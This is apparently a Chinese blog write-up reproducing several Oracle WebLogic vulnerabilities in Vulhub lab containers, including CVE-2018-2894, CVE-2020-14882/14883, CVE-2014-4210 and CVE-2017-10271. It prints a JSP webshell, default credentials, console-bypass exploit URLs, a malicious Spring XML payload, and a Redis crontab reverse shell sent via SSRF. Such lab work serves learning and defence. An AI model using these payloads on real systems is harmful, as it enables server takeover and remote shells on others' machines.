前言

本来想跟一些T3反序列化的,奈何本地环境怎么都起不起来先复现一下常见漏洞吧。。。

Weblogic

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。

漏洞复现

Weblogic 文件读取

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

弱口令直接登录

  • weblogic
  • Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

除此外如果站内存在任意文件读取也可以通过读取秘钥文件来爆破密码

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

这套环境模拟了一个任意文件下载漏洞

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

读取秘钥SerializedSystemIni.dat,复制可能会受到一些不可见字符影响,所以copy to file

在这里插入图片描述

读取密文./config/config.xml找到<node-manager-password-encrypted>的值,即为加密后的管理员密码

在这里插入图片描述

weblogic_decrypt.jar解密也能成功解出秘钥

在这里插入图片描述

进入后台后部署webshell

test.jsp

<%
    if("Sentiment".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

生成war包

jar cvf test.war test.jsp

在这里插入图片描述

设置路径并上传war文件

/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

在这里插入图片描述

下一步设置访问shell文件的根目录路径

在这里插入图片描述

设置好后直接shell文件执行命令即可

在这里插入图片描述

Weblogic 任意文件上传(CVE-2018-2894)

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

启动环境后访问http://ip:7001/console,进入后台

漏洞概述

Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。

影响版本

weblogic 10.3.6、12.1.3、12.2.4、12.2.1.3

漏洞复现

执行docker-compose logs | grep password查看密码,用户名为weblogic

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项,开启后就存在此漏洞了(漏洞存在于 http://your-ip:7001/ws_utc/config.do)

访问http://your-ip:7001/ws_utc/config.do设置 Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

点安全—>添加上传webshell

在这里插入图片描述

上传时抓包查看时间戳

在这里插入图片描述

获取时间戳之后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]执行命令

在这里插入图片描述

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

漏洞概述

cve-2020-14882(代码执行漏洞) ,在打完补丁后又出现了补丁被绕过的漏洞 cve-2020-14883(权限绕过漏洞),远程攻击者可以配合这两个漏洞构造特殊的HTTP请求,在未经身份认证的情况下接管 Weblogic Server Console,在控制台中执行任意代码。

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。利用这两个漏洞的链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令,并完全控制主机。

影响版本

Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

漏洞复现

访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal即可未授权访问到管理后台页面

但登录之后是低权限用户,无法安装应用也无法执行代码,就要用的CVE-2020-14883来执行命令了。两种方式:

  1. 通过com.tangosol.coherence.mvel2.sh.ShellSession

    直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
    

    这个利用方法只能在 Weblogic 12.2.1 以上版本利用,因为 10.3.6 并不存在com.tangosol.coherence.mvel2.sh.ShellSession

  2. 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    这是一种更为通杀的方法,最早在 CVE-2019-2725 被提出,对于所有 Weblogic 版本均有效。

    首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

此漏洞利用的缺点是,它需要 Weblogic 服务器能够访问恶意 XML。

Weblogic SSRF漏洞(CVE-2014-4210)

Oracle WebLogic UDDI Explorer Home

docker-compose up -d

漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

weblogic 10.0.2 – 10.3.6

漏洞复现

访问http://192.168.199.155:7001/uddiexplorer/无需验证即可以查看uddiexplorer应用。随便穿个参,修改operator后发现可以内网探测,当地址不存在时会返回(could not connect…)

在这里插入图片描述

用这种方式可以尝试打redis,先查看下redis的地址

docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)

在这里插入图片描述

探测该地址发现也是存在的http://172.23.0.2:6379,那就可以打redis了

# redis 定时任务反弹shell 命令
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/IP/4000 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

url编码->%0a替换成%0d%0a->最后再加上%0d%0a

http://172.23.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F4000%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A

在这里插入图片描述

发包后等待定时弹shell,反弹成功

在这里插入图片描述

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Vulhub - Docker-Compose file for vulnerability environment

漏洞描述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

weblogic 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

漏洞复现

访问http://ip:7001/wls-wsat/CoordinatorPortType,出现该页面则证明XMLDecoder 反序列化漏洞存在

在这里插入图片描述

抓包发送数据(其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误;还需要注意一下content-type类型)

在这里插入图片描述

在这里插入图片描述

也可以利用xml写shell

在这里插入图片描述

访问http://ip:7001/bea_wls_internal/test.jsp?pwd=Sentiment&cmd=id,即可执行命令

在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐